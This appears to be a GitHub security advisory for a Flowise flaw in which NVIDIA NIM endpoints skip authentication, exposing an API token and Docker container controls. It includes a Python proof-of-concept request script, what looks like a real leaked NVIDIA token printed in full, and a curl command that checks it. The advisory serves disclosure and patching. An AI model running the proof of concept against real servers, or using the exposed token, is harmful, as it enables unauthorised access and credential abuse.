Flowise Missing Authentication on NVIDIA NIM Endpoints
Missing Authentication on NVIDIA NIM Endpoints
Summary
The NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.
Vulnerability Details
| Field | Value |
|-------|-------|
| CWE | CWE-306: Missing Authentication for Critical Function |
| Affected File | packages/server/src/utils/constants.ts |
| Affected Line | Line 20 ('/api/v1/nvidia-nim' in WHITELIST_URLS) |
| CVSS 3.1 | 8.6 (High) |
Root Cause
In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:
```typescript
export const WHITELIST_URLS = [
// ... other URLs
'/api/v1/nvidia-nim', // Line 20 - bypasses JWT/API-key validation
// ...
]
`
This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/*. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.
Affected Endpoints
| Method | Endpoint | Risk |
|--------|----------|------|
| GET | /api/v1/nvidia-nim/get-token | Leaks valid NVIDIA API token |
| GET | /api/v1/nvidia-nim/preload | Resource consumption |
| GET | /api/v1/nvidia-nim/download-installer | Resource consumption |
| GET |...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| flowise npm | < 3.0.13 | 3.0.13 |
Details and references
# Missing Authentication on NVIDIA NIM Endpoints ## Summary The NVIDIA NIM router (`/api/v1/nvidia-nim/*`) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints. ## Vulnerability Details | Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function | | Affected File | `packages/server/src/utils/constants.ts` | | Affected Line | Line 20 (`'/api/v1/nvidia-nim'` in `WHITELIST_URLS`) | | CVSS 3.1 | 8.6 (High) | ## Root Cause In `packages/server/src/utils/constants.ts`, the NVIDIA NIM route is added to the authentication whitelist: ```typescript export const WHITELIST_URLS = [ // ... other URLs '/api/v1/nvidia-nim', // Line 20 - bypasses JWT/API-key validation // ... ] ``` This causes the global auth middleware to skip authentication checks for all endpoints under `/api/v1/nvidia-nim/*`. None of the controller actions in `packages/server/src/controllers/nvidia-nim/index.ts` perform their own authentication checks. ## Affected Endpoints | Method | Endpoint | Risk | |--------|----------|------| | GET | `/api/v1/nvidia-nim/get-token` | Leaks valid NVIDIA API token | | GET | `/api/v1/nvidia-nim/preload` | Resource consumption | | GET | `/api/v1/nvidia-nim/download-installer` | Resource consumption | | GET | `/api/v1/nvidia-nim/list-running-containers` | Information disclosure | | POST | `/api/v1/nvidia-nim/pull-image` | Arbitrary image pull | | POST | `/api/v1/nvidia-nim/start-container` | Arbitrary container start | | POST | `/api/v1/nvidia-nim/stop-container` | Denial of Service | | POST | `/api/v1/nvidia-nim/get-image` | Information disclosure | | POST | `/api/v1/nvidia-nim/get-container` | Information disclosure | ## Impact ### 1. NVIDIA API Token Leakage The `/get-token` endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models. **Token obtained:** ```json { "access_token": "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", "token_type": "Bearer", "expires_in": 3600 } ``` **Token validation:** ```bash curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models # Returns list of 170+ available models ``` ### 2. Container Runtime Manipulation On systems with Docker/NIM installed, an unauthenticated attacker can: - List running containers (reconnaissance) - Stop containers (Denial of Service) - Start containers with arbitrary images - Pull arbitrary Docker images (resource consumption, potential malicious images) ## Proof of Concept ### poc.py ```python #!/usr/bin/env python3 """ POC: Privileged NVIDIA NIM endpoints are unauthenticated Usage: python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token """ import argparse import urllib.request import urllib.error def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port") ap.add_argument("--path", required=True, help="NIM endpoint path") ap.add_argument("--method", default="GET", choices=["GET", "POST"]) ap.add_argument("--data", default="", help="Raw request body for POST") args = ap.parse_args() url = args.target.rstrip("/") + "/" + args.path.lstrip("/") body = args.data.encode("utf-8") if args.method == "POST" else None req = urllib.request.Request( url, data=body, method=args.method, headers={"Content-Type": "application/json"} if body else {}, ) try: with urllib.request.urlopen(req, timeout=10) as r: print(r.read().decode("utf-8", errors="replace")) except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace")) if __name__ == "__main__": main() ``` <img width="1581" height="595" alt="screenshot" src="https://github.com/user-attachments/assets/85
- CVSS 4.0
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-306
- Also known as
- CVE-2026-30824